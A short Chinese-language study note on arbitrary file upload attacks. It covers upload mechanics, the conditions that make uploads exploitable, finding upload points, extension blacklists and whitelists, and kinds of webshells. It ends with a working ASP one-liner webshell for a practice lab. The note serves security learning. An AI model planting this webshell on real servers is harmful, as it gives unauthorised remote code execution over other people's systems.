任意上传
0、基础
文件上传
1.前段选择文件,提交文件
2.浏览器形成POST MultiPart报文发送到服务器
3.服务器中间件接收到报文,解析后交给后端代码进行处理
4.后端代码将上传的文件内容写入到临时文件中(PHP特有)
5.写入到文件中,文件名为提交的文件名或以一定规则生成的文件名
文件上传条件
1.存在上传点
2.可以上传动态文件
3.上传目录有执行权限,并且上传文件可执行
3.可访问到上传的动态文件
1、webshell
一个web页面,相当于web服务器,可以做服务器的大部分事情
马子用脚本语言写,马的后缀一定是跟目标网站及脚本语言相同
iis+asp的目标能支持aspx的话最好用aspx的马(权限更大)
拿到webshell可以修改、下载、上传文件等操作
2、找上传点
重点关照:模板、模块、某些有数据库备份功能的
3、黑白名单
上传的文件后缀限制死
白:只能传某种文件
遇到白名单换别的地方搞
黑:不允许传某种文件
4、大马小马一句话马
大马:有些大马带免杀功能,可以自己修改功能
小马:阉割版大马,一般只有文件上传功能,高危函数基本没有,现在小马用的很少了
**一句话:**短小精悍,隐蔽性强,要用工具连接(蚁剑、冰蝎等)
5、靶场
5.1、找上传点
5.2、上传大马并连接
5.3、使用一句话
<%eval request("hack")%>